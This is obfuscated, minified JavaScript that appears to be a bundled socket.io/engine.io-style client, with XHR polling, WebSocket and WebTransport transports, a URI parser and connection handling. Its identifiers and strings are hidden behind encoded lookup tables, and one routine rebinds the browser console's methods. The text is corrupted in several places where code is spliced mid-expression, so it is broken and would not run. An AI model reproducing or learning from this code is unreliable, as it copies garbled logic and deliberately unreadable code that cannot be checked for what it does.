this["onCl"+s(361)]({description:n(293)+"spor"+r(317)+"osed by "+s(334)+s(339)+"er"}),!1;this[s(313)+o(328)](t)}),r(349)+"ed"!==this.readyState&&(this[n(331)+s(303)]=!1,this[o(341)+"Reserved"]("pollComp"+r(306)),"open"===this.readyState&&this[e(331)+"l"]())}[kl(311)+Il(361)](){const t=Sl,e=()=>{this[Ul(312)+"e"]([{type:"close"}])};kl(347)===this["read"+t(309)+"te"]?e():this[t(342)]("open",e)}write(t){const e=kl;this["writ"+e(354)]=!1,((t,e)=>{const n=Uu,r=t.length,o=new Array(r);let s=0;t["forE"+n(493)]((t,n)=>{yu(t,!1,t=>{o[n]=t,++s===r&&e(o.join(Yu))})})})(t,t=>{const n=e;this[n(320)+"ite"](t,()=>{const t=n,e=n;this.writable=!0,this[t(341)+"Reserved"](e(296)+"n")})})}[Hl(355)](){const t=Il,e=Sl,n=Hl,r=jl,o=this[t(338)][t(359)+"re"]?"https":n(310),s=this.query||{};return!1!==this.opts["time"+e(357)+e(350)+"uests"]&&(s[this.opts[t(308)+r(357)+t(319)+"am"]]=Bl()),!this.supportsBinary&&!s[t(300)]&&(s[r(325)]=1),this[n(336)+"teUri"](o,s)}}const Nl=Ol,Xl=Ol,Zl=Ol;function Ol(t,e){t-=210;const n=Tl();let r=n[t];void 0===Ol.UhnqGn&&(Ol.pUsneN=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r{this.onError(n(514)+"post error",t,e)})}doPoll(){const t=Rl,e=Rl,n=this.request();n.on("data",this.onData.bind(this)),n.on(t(544)+"r",(e,n)=>{const r=t,o=t;this[t(504)+r(486)](o(514)+"poll"+o(572)+"or",e,n)}),this[t(568)+e(503)]=n}}class of extends $u{constructor(t,e,n){const r=Rl,o=Rl,s=Rl;super(),this.createRequest=t,vl(this,n),this[r(552)+"s"]=n,this._method=n.method||"GET",this[o(534)]=e,this[s(507)+"a"]=void 0!==n.data?n[o(498)]:null,this._create()}[Rl(499)+Rl(511)](){const t=552,e=Ql,n=Rl,r=Rl,o=Rl,s=Fl;var i;const a=hl(this[e(t)+"s"],e(608)+"t",e(543),o(476),"passphrase",n(569),"ca",o(560)+e(508),r(473)+r(535)+n(500)+s(587)+"ed",s(582)+"Unref");a[n(600)+"ain"]=!!this[e(t)+"s"].xd;const c=this._xhr=this[e(492)+e(523)+s(519)+"t"](a);try{c.open(this[e(590)+n(583)],this._uri,!0);try{if(this._opts[r(558)+"aHea"+s(573)]){c[s(551)+n(540)+"leHeaderCheck"]&&c["setDisab"+o(553)+"aderCheck"](!0);for(let t in this._opts[n(558)+n(589)+"ders"])this._opts["extr"+n(589)+"ders"]["hasO"+e(529)+s(577)+"ty"](t)&&c[s(581)+"eque"+s(592)+"ader"](t,this._opts[e(558)+r(589)+e(573)][t])}}catch(u){}if("POST"===this[n(590)+"hod"])try{c[e(581)+s(525)+r(592)+"ader"](r(483)+n(539)+r(576),e(509)+"/plain;c"+e(482)+"et=U"+o(520))}catch(l){}try{c[n(581)+r(525)+"stHe"+e(481)](e(517)+"pt",s(497))}catch(f){}null===(i=this._opts[s(579)+"ieJar"])||void 0===i||i["addC"+r(604)+"es"](c),"with"+s(561)+"enti"+o(562)in c&&(c[n(484)+"Credentials"]=this[o(t)+"s"][r(484)+e(561)+"enti"+o(562)]),this[r(t)+"s"][s(527)+n(585)+s(524)+"ut"]&&(c["time"+o(567)]=this[s(t)+"s"].requestTimeout),c["onreadys"+r(593)+s(487)+"ge"]=()=>{const t=r,n=e,s=r,i=o;var a;3===c.readyState&&(null===(a=this[t(552)+"s"]["cook"+t(546)+"r"])||void 0===a||a["pars"+t(531)+t(605)](c["getR"+n(518)+n(603)+"eader"]("set-cookie"))),4===c["read"+n(496)+"te"]&&(200===c.status||1223===c.status?this[i(541)+n(602)]():this.setTimeoutFn(()=>{this["_onE"+s(491)]("number"==typeof c.status?c.status:0)},0))},c[e(512)](this._data)}catch(h){return void this[s(566)+o(524)+"utFn"](()=>{this[s(595)+"rror"](h)},0)}typeof document!=e(542)+n(584)+"d"&&(this._index=of.requestsCount++,of[e(527)+"ests"][this[e(598)+"ex"]]=this)}[Ql(595)+"rror"](t){const e=$l,n=Fl;this[e(565)+"Rese"+e(591)](e(544)+"r",t,this._xhr),this[n(557)+e(559)](!0)}_cleanup(t){const e=$l,n=$l,r=Ql,o=Fl;if("unde"+e(584)+"d"!=typeof this._xhr&&null!==this[e(556)]){if(this._xhr[n(510)+"adys"+n(593)+"change"]=nf,t)try{this[r(556)].abort()}catch(s){}typeof document!="unde"+r(584)+"d"&&delete of[e(527)+"ests"][this[r(598)+"ex"]],this[o(556)]=null}}[tf(541)+$l(602)](){const t=$l,e=Fl,n=$l,r=tf,o=tf,s=this._xhr[t(521)+e(505)+t(533)];null!==s&&(this["emit"+t(596)+e(591)](n(498),s),this["emit"+e(596)+e(591)](r(563)+e(554)),this[o(557)+"anup"]())}abort(){const t=Rl;this[Rl(557)+t(559)]()}}if(of[$l(527)+"estsCount"]=0,of[$l(527)+Fl(575)]={},typeof document!="unde"+Fl(584)+"d")if("function"==typeof attachEvent)attachEvent("onun"+Ql(597),af);else if(typeof addEventListener==tf(493)+"tion"){const t=Ql(606)+tf(555)+"de"in sl?Rl(532)+"hide":"unload";addEventListener(t,af,!1)}function sf(){const t=["igvYCG","zgvYCW","CMv0Dq","zxn0CW","DhLWzq","B3bLCG","t2jQzq","y29VAW","DgLVBG","C2v0uG","yxv0BW","Ag9K","zMLUzq","zxn0va","CM4GDa","B3jPEG","ntKYnJG2u1zJDfrs","yuHLyq","x21LDa","CNzLza","C3rizq","Dgf0zq","qwn0Aq","x29Urq","uMvZzq","Bg9Hza","x2LUza","Dhj1yW","EgrVBq","ywLU","B2fK","BNnLsa","B29RAq","A2LLCW","B25Wyq","mJfvzhL4Du8","ywDLBG","CMvQzq","mtjjEu5vAKq","DxjP","A2v5","B2XL","C3vWCa","AxrL","x19WCG","ywrLCG","AgfYCW","q29UDa","D2L0Aa","Ag9ZDa","CM9Y","y2HHBG","D2fYBG","nJKYmJmYA3PewLrH","B3nVzG","CNjVCG","y3jLyq","zNvUyW","yxbWBa","BMfTzq","Evn0yq","kI8Q","zgf0yq","x2nYzq","yxv0Aa","yMLUza","CMLUzW","wgHY","B25fCG","B25Zzq","nJa5ntiWwKzXte13","x2rHDa","zxjZ","Dgv4Da","B25Yzq","yxrL","C2vUza","B3r5Ca","EgHYia","y29UyW","ntC3nZK2EgPjBMri","qwnJzq","zxnWBW","CxvLCW","veyToa","CMvZCa","vhLWzq","Dgvszq","Aw1LBW","zxf1zq","ndqZ","CMvXDq","AgfZtW","D25qCG","DgfIBa","zunVBW","CgfNzq","vgv4Da","x3vYAq","y3rvBG","Dg9Y","zty0","mJq2mdC2Cg94su9h","zw50lq","AxnHyG","x29Uta","Dw5Kzq","Cgz4","zxjYBW","mJi2nZe0yuvmzLbs","Awvkyq","Ahr0Ca","m3P0twXqCa","nZuXodyXA1n1uLfY","nZbjCgHODgC","C2v0ra","x29WDa","Bgvizq","zxnZ","z2vOAq","x3HOCG","x2nSzq","zxH0CG","yw51Ca","y2LWAa","q3jLza","ywXZ","C3vJyW","ChjVDa","zw1PDa","C2v0va","B3v0","Cg9SBa","y2vYDa","teHuva","Bg9N"];return(sf=function(){return t})()}function af(){const t=Rl,e=Ql,n=Rl,r=Rl;for(let o in of[t(527)+"ests"])of.requests[e(528)+t(529)+"operty"](o)&&of[n(527)+r(575)][o].abort()}const cf=function(){const t=Rl,e=Rl,n=function(){let t=!0;return function(e,n){const r=t?function(){if(n){const t=n[ef(494)+"y"](e,arguments);return n=null,t}}:function(){};return t=!1,r}}();n(this,function(){const t=ef,e=ef,r=ef,o=ef,s=ef,i=function(){const t=ef,e=ef;let n;try{n=Function("return ("+t(493)+t(580)+'() {}.constructor("'+e(574)+t(586)+'his")( ));')()}catch(tp){n=window}return n}(),a=i["cons"+t(477)]=i["cons"+e(477)]||{},c=[t(571),e(488),"info","error","exception",o(530)+"e","trace"];for(let u=0;u>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r{const e=t;this.opts["auto"+t(530)+"f"]&&this.ws["_soc"+e(568)].unref(),this.onOpen()},this.ws["oncl"+e(528)]=t=>this["onCl"+n(528)]({description:r(485)+"ocket co"+e(491)+n(519)+" clo"+e(515),context:t}),this.ws[o(527)+r(542)+"e"]=t=>this.onData(t[o(509)]),this.ws[r(567)+r(487)]=s=>this[o(540)+e(487)](n(485)+"ocke"+r(490)+t(487),s)}write(t){const e=df,n=lf;this[e(570)+n(546)]=!1;for(let r=0;r{const r=n,i=e;try{this[r(500)+i(533)](o,t)}catch(a){}s&&rl(()=>{const t=i,e=r;this["writ"+t(546)]=!0,this["emit"+t(501)+e(510)]("drain")},this["setT"+i(555)+r(518)])})}}[hf(508)+df(528)](){const t=df;typeof this.ws!="unde"+hf(558)+"d"&&(this.ws[t(567)+"ror"]=()=>{},this.ws[t(543)+"e"](),this.ws=null)}uri(){const t=pf,e=lf,n=hf,r=lf,o=lf,s=this.opts.secure?t(532):"ws",i=this[e(551)+"y"]||{};return this.opts["timestam"+t(483)+"uests"]&&(i[this[r(566)][e(473)+"stam"+n(498)+"am"]]=Bl()),!this[o(560)+"ortsBinary"]&&(i.b64=1),this[o(481)+"teUri"](s,i)}}const zf=sl.WebSocket||sl[lf(512)+"ebSo"+pf(547)];class qf extends Bf{["crea"+hf(482)+"cket"](t,e,n){return Cf?new zf(t,e,n):e?new zf(t,e):new zf(t)}["doWr"+hf(533)](t,e){this.ws.send(e)}}const Df=wf,mf=wf;function wf(t,e){t-=471;const n=Gf();let r=n[t];void 0===wf.LyBnaY&&(wf.XMIUPu=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r{this[r(503)+"ose"]()})[o(527)+"h"](e=>{this.onError("webtransport"+t(500)+"or",e)}),this["_tra"+r(515)+"rt"].ready[r(509)](()=>{const t=e,n=r,o=r;this._transport["createBi"+t(477)+"ctionalS"+n(519)+"m"]()[t(509)](e=>{const r=o,s=n,i=t,a=n,c=t,u=function(t,e){!Nu&&(Nu=new TextDecoder);const n=[];let r=0,o=-1,s=!1;return new TransformStream({transform(i,a){const c=Hu,u=Hu,l=Hu;for(n.push(i);;){if(0===r){if(Xu(n)<1)break;const t=Zu(n,1);s=!(128&~t[0]),o=127&t[0],r=o<126?3:126===o?1:2}else if(1===r){if(Xu(n)<2)break;const t=Zu(n,2);o=new DataView(t[c(513)+"er"],t.byteOffset,t[c(501)+"th"])["getU"+c(477)+"6"](0),r=3}else if(2===r){if(Xu(n)<8)break;const t=Zu(n,8),e=new DataView(t.buffer,t.byteOffset,t[u(501)+"th"]),s=e[c(519)+"int32"](0);if(s>Math.pow(2,21)-1){a[l(498)+"eue"](ru);break}o=s*Math[l(486)](2,32)+e[u(519)+"int32"](4),r=3}else{if(Xu(n)t){a.enqueue(ru);break}}}})}(Number[r(514)+"SAFE"+s(502)+s(518)],this.socket["bina"+s(495)+"pe"]),l=e[i(516)+a(497)].pipeThrough(u)[a(496)+i(520)+"r"](),f=new TransformStream({transform(t,e){!function(t,e){const n=au,r=iu;hu&&t[n(303)]instanceof Blob?t.data[n(278)+"yBuffer"]().then(gu)[n(288)](e):pu&&(t.data instanceof ArrayBuffer||du(t[r(303)]))?e(gu(t.data)):yu(t,!1,t=>{!Cu&&(Cu=new TextEncoder),e(Cu.encode(t))})}(t,n=>{const r=Hu,o=Hu,s=Hu,i=Hu,a=Hu,c=n[r(501)+"th"];let u;if(c<126)u=new Uint8Array(1),new DataView(u[o(513)+"er"])["setU"+r(502)](0,c);else if(c<65536){u=new Uint8Array(3);const t=new DataView(u.buffer);t[s(508)+r(502)](0,126),t["setU"+i(477)+"6"](1,c)}else{u=new Uint8Array(9);const t=new DataView(u[s(513)+"er"]);t[a(508)+i(502)](0,127),t["setB"+s(505)+"nt64"](1,BigInt(c))}t.data&&typeof t.data!=a(506)+"ng"&&(u[0]|=128),e["enqu"+i(504)](u),e[r(498)+"eue"](n)})}});f[c(516)+"able"][i(498)+"To"](e[s(478)+"able"]),this[i(492)+r(479)]=f[r(478)+a(497)]["getW"+a(475)+"r"]();const h=()=>{const t=i;l[t(516)]()[t(509)](({done:t,value:e})=>{t||(this.onPacket(e),h())}).catch(t=>{})};h();const p={type:"open"};this[a(504)+"y"][c(528)]&&(p.data='{"si'+a(491)+this.query[c(528)]+'"}'),this._writer[i(478)+"e"](p)[s(509)](()=>this.onOpen())})})}[mf(478)+"e"](t){const e=Df,n=mf;this[Df(478)+e(497)]=!1;for(let r=0;r{o&&rl(()=>{const t=wf,e=wf;this["writ"+wf(497)]=!0,this[t(489)+"Reserved"](e(526)+"n")},this.setTimeoutFn)})}}doClose(){const t=mf;var e;null===(e=this["_tra"+Df(515)+"rt"])||void 0===e||e[t(483)+"e"]()}}function bf(t,e){t-=267;const n=Lf();let r=n[t];void 0===bf.gEqmsr&&(bf.miVknj=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r8e3)throw"URI "+n(258)+"long";const i=t,a=t[e(274)+n(299)]("["),c=t[o(274)+r(299)]("]");-1!=a&&-1!=c&&(t=t["subs"+e(256)+"g"](0,a)+t["subs"+s(256)+"g"](a,c)[r(270)+s(268)](/:/g,";")+t["subs"+s(256)+"g"](c,t[n(293)+"th"]));let u=Ef[o(297)](t||""),l={},f=14;for(;f--;)l[Pf[f]]=u[f]||"";return-1!=a&&-1!=c&&(l[r(285)+"ce"]=i,l.host=l[o(265)]["subs"+n(256)+"g"](1,l[o(265)][s(293)+"th"]-1)[o(270)+"ace"](/;/g,":"),l[r(291)+"ority"]=l[s(291)+s(280)+"y"].replace("[","")[o(270)+n(268)]("]","")[o(270)+o(268)](/;/g,":"),l[o(266)+"uri"]=!0),l.pathNames=function(t,e){const n=284,r=293,o=293,s=If,i=kf,a=kf,c=e[s(270)+"ace"](/\/{2,9}/g,"/").split("/");return("/"==e[s(n)+"e"](0,1)||0===e[a(r)+"th"])&&c.splice(0,1),"/"==e.slice(-1)&&c.splice(c[i(o)+"th"]-1,1),c}(0,l[s(262)]),l[e(301)+o(278)]=function(t,e){const n={};return e[kf(270)+"ace"](/(?:^|&)([^&=]*)=?([^&]*)/g,function(t,e,r){e&&(n[e]=r)}),n}(0,l[e(301)+"y"]),l}const Xf=Rf,Zf=Rf,Of=Rf,Kf=Rf,Tf=Rf;function Jf(){const t=["y2nLCW","ChjVyG","CMvTBW","v3jPDa","x2DLDa","ndu5ndfzv1PJyLm","zxHJzq","zxvUBa","x29Wzq","mLrwvKzUzW","x29UqW","B25iyq","DMvbBa","ywrLrq","CMvZCW","C2vJDq","B3j0","ywLSyq","yw5ZCa","mJK4odCWDhLjz2Tr","zw50Aq","zMLUzq","ihrPBq","x3nLBG","CMfKzq","ywjSzq","DhjHyW","B2zM","yxbWBa","zsbLCG","B3r5Ca","kcKG","yMLUza","DgvuCG","x3bYzq","uMvZzq","CM4Gka","CNzLza","zfbHyW","yMvMBW","x3rYyq","ChjPBW","zu9UqG","DgvYvq","zev2zq","Dhj5qq","x3bPBG","DKj1zG","nJm3nJGZCMHTq2Hy","zw1PDa","rxHWAq","CMvK","y29Kzq","CMvWBa","mZK4mZG5wLfJA3jr","ChjVDa","ksGGkq","CYbHDG","BwvVDq","ywDL","DxbNCG","x19WCG","C3bSAq","CMvTzq","BwvZCW","nZuZodm0r3v3rwHm","x21HEa","DgvUzq","CgDYyq","B24GBa","y29UCW","Bg9Zzq","D3jPDa","C2v0va","CLDLyG","ywTL","B3n0","C3bVCG","CM9YoG","DcbLCG","DMvmAq","yMLUyq","x2jLzG","DgLVBG","DeXPCW","zxjYBW","CNzHBa","Cg9UzW","BeXPCW","ugf5Ba","y29TCa","y2XVCW","BMfTzq","mtjqzLLKCeG","mJCWmJuWmMjzEePcBa","C3rLBG","zw91Da","zxrZ","Aw5Kzq","z0LUDa","BgLUzq","Bg9Jyq","zNvUyW","BMrZAa","B3bLBG","Dw5Kzq","BMDuAq","CNLuEq","zMX1CW","Dg9Y","CMv0Dq","zMvYta","zxj2yq","CM9Y","zwqGyW","CM4GDa","C2vUza","vxbNCG","C2HHAW","B25pCa","B3b0CW","B2nRzq","DhLWzq","CgfJAW","Aw5NuW","ugLUzW","CMLUzW","C3rYAq","Evn0yq","ywrL","zuj1zG","vgLTzq","B2jQzq","BgHVCW","CMv1BG","Aw1LBW","zhjHAq","A2v0","x29Uua","zgf0yq","ugfJAW","Cgf0Aa","y3jLyq","B3jLDq","CMfUCW","Bwf4ua","D2vIDa","ChvZAa","B2fK","B2XL","CLrPBq","BgXuCG","Dg9tDa","x3bYBW","y29UBG","ywrLCW","BwjLCG","zM9Yrq","CMfPBa","BNnWBW","C2LK","C29JAW","D2vICW","x29Urq","C2vYDG","zxrqAq","tM8GDa","BgvUzW","x3vWzW","x2nVBW","rxzLBG","B25Jzq","zxrtDq","ywnL","ywnO","Aw5N","Ag9ZDa","Cg9YDa","B3jRia","CNrZqG","ywrPBG","mZjHz2zwrKi","BMXVyq","z1rPBq","B3iOiG","B25ZDa","CNjVCG","Aw5MBW","y2XLyq","DxrgBG","ndqZ","zMvY","Ee9M","DhjHBG","CgLUzW","nde0mta1mgzvAhvyEG","DcbJBa","Ahr0Ca","DgfIBa","yxnZAq","Aw9UCW","CxvLCG","ChrPBW","BwfW","CMvHza","BgfZAa"];return(Jf=function(){return t})()}!function(){const t=Rf,e=Rf,n=Rf,r=Jf();for(;;)try{if(218414==parseInt(t(416))/1+-parseInt(t(371))/2*(-parseInt(t(410))/3)+parseInt(e(249))/4*(-parseInt(n(381))/5)+-parseInt(e(427))/6+-parseInt(t(367))/7*(-parseInt(n(337))/8)+parseInt(e(250))/9+-parseInt(e(351))/10)break;r.push(r.shift())}catch(o){r.push(r.shift())}}();const Vf=function(){let t=!0;return function(e,n){const r=t?function(){if(n){const t=n[Rf(390)+"y"](e,arguments);return n=null,t}}:function(){};return t=!1,r}}();function Rf(t,e){t-=228;const n=Jf();let r=n[t];void 0===Rf.rZOGvG&&(Rf.SPcdPC=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r{const t=Xf;Qf[t(313)+t(330)](t=>t())},!1);class $f extends $u{constructor(t,e){const n=332,r=Xf,o=Xf,s=Xf,i=Xf,a=Xf;if(super(),this[r(237)+o(263)+"pe"]=il,this[o(228)+r(286)+"fer"]=[],this[r(396)+"vBuf"+i(267)+"en"]=0,this[o(408)+a(255)+r(268)+"l"]=-1,this["_pin"+o(339)+a(252)]=-1,this["_max"+r(245)+s(304)]=-1,this["_pin"+r(339)+"eoutTime"]=1/0,t&&"object"==typeof t&&(e=t,t=null),t){const r=Nf(t);e.hostname=r[o(n)],e[i(377)+"re"]="https"===r.protocol||"wss"===r[s(417)+"ocol"],e.port=r[a(333)],r[o(357)+"y"]&&(e[o(357)+"y"]=r.query)}else e[i(n)]&&(e[r(n)+"name"]=Nf(e[o(332)])[o(n)]);vl(this,e),this.secure=null!=e[i(377)+"re"]?e.secure:typeof location!=s(261)+i(383)+"d"&&a(353)+"s:"===location.protocol,e[s(332)+"name"]&&!e.port&&(e[s(333)]=this.secure?s(346):"80"),this.hostname=e["host"+o(248)]||("undefined"!=typeof location?location.hostname:"loca"+a(289)+"t"),this.port=e[i(333)]||(typeof location!="unde"+i(383)+"d"&&location[s(333)]?location[a(333)]:this[i(377)+"re"]?o(346):"80"),this[i(349)+a(233)+"ts"]=[],this[a(402)+a(315)+r(335)+"yName"]={},e[r(349)+i(233)+"ts"]["forE"+i(330)](t=>{const e=s,n=s,r=t[i(417)+e(392)+"e"][e(248)];this.transports[n(303)](r),this._transportsByName[r]=t}),this[s(276)]=Object[r(355)+"gn"]({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,timestampParam:"t",rememberUpgrade:!1,addTrailingSlash:!0,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{},closeOnBeforeunload:!1},e),this[a(276)][r(297)]=this[r(276)][a(297)][i(415)+s(329)](/\/$/,"")+(this[a(276)]["addT"+o(314)+a(280)+s(361)]?"/":""),"string"==typeof this.opts[o(357)+"y"]&&(this[a(276)].query=function(t){const e=zl;let n={},r=t[e(493)+"t"]("&");for(let o=0,s=r.length;o{const t=a,e=a,n=o;this[t(349)+e(233)+"t"]&&(this.transport["removeAl"+e(244)+t(429)+"rs"](),this[e(349)+n(233)+"t"].close())},addEventListener(o(401)+o(290)+"load",this[i(238)+a(299)+r(338)+a(406)+"ntLi"+i(251)+"er"],!1)),this.hostname!==r(257)+"lhost"&&(this["_offline"+i(326)+"tListener"]=()=>{const t=s,e=r,n=o,i=o;this["_onC"+t(433)]("tran"+e(233)+t(352)+"ose",{description:"netw"+n(334)+n(310)+"ecti"+t(431)+i(232)})},Qf.push(this["_offline"+i(326)+"tListener"]))),this.opts["withCred"+a(382)+"als"]&&(this[r(325)+"kieJar"]=void 0),this[s(370)+"n"]()}[Zf(298)+Of(395)+Zf(380)+Xf(378)](t){const e=Tf,n=Of,r=Xf,o=Object.assign({},this.opts.query);o.EIO=4,o.transport=t,this.id&&(o.sid=this.id);const s=Object.assign({},this.opts,{query:o,socket:this,hostname:this[e(332)+n(248)],secure:this.secure,port:this.port},this[e(276)]["transportOpt"+n(356)][t]);return new(this["_tra"+r(315)+n(335)+"yName"][t])(s)}[Kf(370)+"n"](){const t=Kf,e=Xf,n=Xf,r=Xf,o=Kf;if(0===this["tran"+t(233)+"ts"].length)return void this["setT"+e(291)+n(345)](()=>{const r=n,o=e,s=t;this[r(411)+r(397)+"rved"]("error",s(322)+r(300)+o(333)+o(419)+s(379)+"ble")},0);const s=this[n(276)][t(425)+o(312)+o(273)+"ade"]&&$f["prio"+t(230)+n(317)+n(328)+o(362)+"s"]&&-1!==this.transports[e(254)+"xOf"]("webs"+t(277)+"t")?"webs"+t(277)+"t":this["tran"+e(233)+"ts"][0];this["read"+t(284)+"te"]="opening";const i=this[r(298)+o(395)+"ansport"](s);i.open(),this.setTransport(i)}[Of(229)+"rans"+Xf(333)](t){const e=Kf,n=Zf,r=Of,o=Tf;this.transport&&this.transport["remo"+e(374)+e(244)+"teners"](),this.transport=t,t.on("drain",this._onDrain.bind(this)).on(n(279)+"et",this._onPacket[r(394)](this)).on("error",this[n(319)+"rror"][o(394)](this)).on("close",t=>this[o(372)+r(433)]("tran"+n(233)+o(352)+"ose",t))}onOpen(){const t=Zf,e=Kf,n=Xf,r=Zf,o=Tf;this.readyState="open",$f["priorWeb"+t(317)+e(328)+t(362)+"s"]="webs"+n(277)+"t"===this[o(349)+r(233)+"t"].name,this["emit"+n(397)+"rved"](o(260)),this[t(264)+"h"]()}[Kf(294)+"acket"](t){const e=Of,n=Kf,r=Zf,o=Of,s=Zf;if(e(260)+n(331)===this.readyState||r(260)===this["read"+o(284)+"te"]||s(247)+o(331)===this[s(360)+"yState"])switch(this["emit"+r(397)+"rved"](r(279)+"et",t),this["emitRese"+r(399)]("heartbeat"),t.type){case r(260):this[e(373)+o(259)+s(231)](JSON.parse(t.data));break;case"ping":this[e(385)+r(400)+r(293)]("pong"),this["emit"+n(397)+"rved"]("ping"),this[n(411)+e(397)+"rved"](n(243)),this["_res"+r(321)+"ngTimeout"]();break;case"error":const i=new Error(r(320)+"er e"+r(342));i[r(414)]=t[r(295)],this[o(319)+"rror"](i);break;case"message":this[s(411)+"Rese"+s(399)]("data",t.data),this.emitReserved(e(426)+"age",t.data)}}["onHa"+Tf(259)+Zf(231)](t){const e=Zf,n=Tf,r=Of,o=Zf,s=Tf;this["emit"+e(397)+"rved"]("hand"+n(274)+"e",t),this.id=t[n(316)],this["tran"+n(233)+"t"][e(357)+"y"][r(316)]=t[e(316)],this["_pin"+e(255)+e(268)+"l"]=t[o(350)+"Inte"+r(242)],this._pingTimeout=t[n(350)+"Timeout"],this[r(428)+r(245)+s(304)]=t[s(301)+"ayload"],this.onOpen(),o(247)+"ed"!==this.readyState&&this["_resetPi"+n(262)+e(420)+"t"]()}["_resetPi"+Zf(262)+Zf(420)+"t"](){const t=Tf,e=Of,n=Tf,r=Kf,o=Tf;this["clea"+t(306)+"eoutFn"](this[e(408)+"gTim"+t(252)+"Timer"]);const s=this["_pin"+e(255)+r(268)+"l"]+this["_pin"+o(339)+"eout"];this[t(408)+n(339)+r(252)+n(287)]=Date.now()+s,this[o(408)+"gTim"+t(252)+"Timer"]=this[r(229)+o(291)+"utFn"](()=>{const t=o;this[t(372)+"lose"]("ping"+t(384)+"eout")},s),this.opts.autoUnref&&this["_pin"+e(339)+t(252)+r(287)+"r"].unref()}_onDrain(){const t=Kf,e=Kf,n=Of,r=Kf;this["writ"+t(286)+e(347)].splice(0,this["_prevBuf"+n(267)+"en"]),this[r(396)+"vBufferLen"]=0,0===this[t(228)+t(286)+n(347)].length?this["emitRese"+n(399)](t(292)+"n"):this.flush()}flush(){const t=Xf,e=Of,n=Xf,r=Zf,o=Tf;if(t(247)+"ed"!==this[e(360)+"yState"]&&this[e(349)+"sport"]["writ"+r(387)]&&!this.upgrading&&this[o(228)+e(286)+"fer"].length){const o=this["_getWrit"+e(387)+n(296)+"ets"]();this.transport[t(272)](o),this["_pre"+r(409)+"ferLen"]=o[e(323)+"th"],this[n(411)+t(397)+"rved"]("flush")}}[Kf(366)+Xf(365)+Kf(387)+Kf(296)+Tf(253)](){const t=Zf,e=Kf,n=Tf,r=Tf,o=Zf;if(!(this["_maxPayl"+t(304)]&&"polling"===this[t(349)+"sport"][t(248)]&&this[t(228)+n(286)+"fer"][o(323)+"th"]>1))return this[e(228)+r(286)+n(347)];let s=1;for(let i=0;i0&&s>this[e(428)+t(245)+"oad"])return this[e(228)+"eBuf"+n(347)].slice(0,i);s+=2}return this[t(228)+t(286)+r(347)]}["_has"+Of(281)+Xf(412)+Of(413)](){const t=Of,e=Xf,n=Kf,r=Tf,o=Tf;if(!this[t(408)+"gTim"+t(252)+t(287)])return!0;const s=Date.now()>this["_pingTim"+e(252)+n(287)];return s&&(this["_pin"+n(339)+e(252)+"Time"]=0,rl(()=>{const e=o,n=t;this[e(372)+e(433)](n(350)+e(384)+"eout")},this[r(229)+t(291)+r(345)])),s}[Of(228)+"e"](t,e,n){const r=Kf,o=Xf;return this["_sen"+r(400)+o(293)](r(426)+o(421),t,e,n),this}send(t,e,n){const r=Of,o=Of;return this["_sen"+Tf(400)+r(293)]("mess"+o(421),t,e,n),this}["_sen"+Tf(400)+"ket"](t,e,n,r){const o=Xf,s=Xf,i=Kf,a=Zf,c=Xf;if(o(258)+"tion"==typeof e&&(r=e,e=void 0),o(258)+o(239)===typeof n&&(r=n,n=null),o(247)+c(331)===this[c(360)+c(284)+"te"]||"closed"===this[a(360)+a(284)+"te"])return;(n=n||{})["comp"+i(376)]=!1!==n[c(246)+a(376)];const u={type:t,data:e,options:n};this["emit"+i(397)+c(399)](a(279)+"etCreate",u),this[s(228)+o(286)+"fer"].push(u),r&&this.once("flush",r),this[a(264)+"h"]()}close(){const t=Kf,e=Tf,n=Kf,r=Kf,o=Of,s=()=>{const t=Rf,e=Rf;this._onClose("forc"+Rf(270)+"lose"),this["tran"+t(233)+"t"][e(247)+"e"]()},i=()=>{const t=Rf,e=Rf,n=Rf;this[t(389)]("upgr"+e(285),i),this.off(n(422)+"adeE"+t(342),i),s()},a=()=>{const t=Rf;this.once("upgrade",i),this.once(t(422)+t(375)+"rror",i)};return t(260)+"ing"!==this[e(360)+"yState"]&&t(260)!==this[n(360)+e(284)+"te"]||(this[r(360)+r(284)+"te"]="closing",this[o(228)+"eBuf"+t(347)][n(323)+"th"]?this.once(e(292)+"n",()=>{const t=r;this[e(422)+t(336)+"g"]?a():s()}):this[n(422)+"ading"]?a():s()),this}["_onE"+Xf(342)](t){const e=Of,n=Tf,r=Kf,o=Xf,s=Xf;if($f[e(403)+n(230)+n(317)+"etSu"+o(362)+"s"]=!1,this.opts[o(407)+n(307)+r(380)+"orts"]&&this.transports[r(323)+"th"]>1&&"opening"===this["read"+e(284)+"te"])return 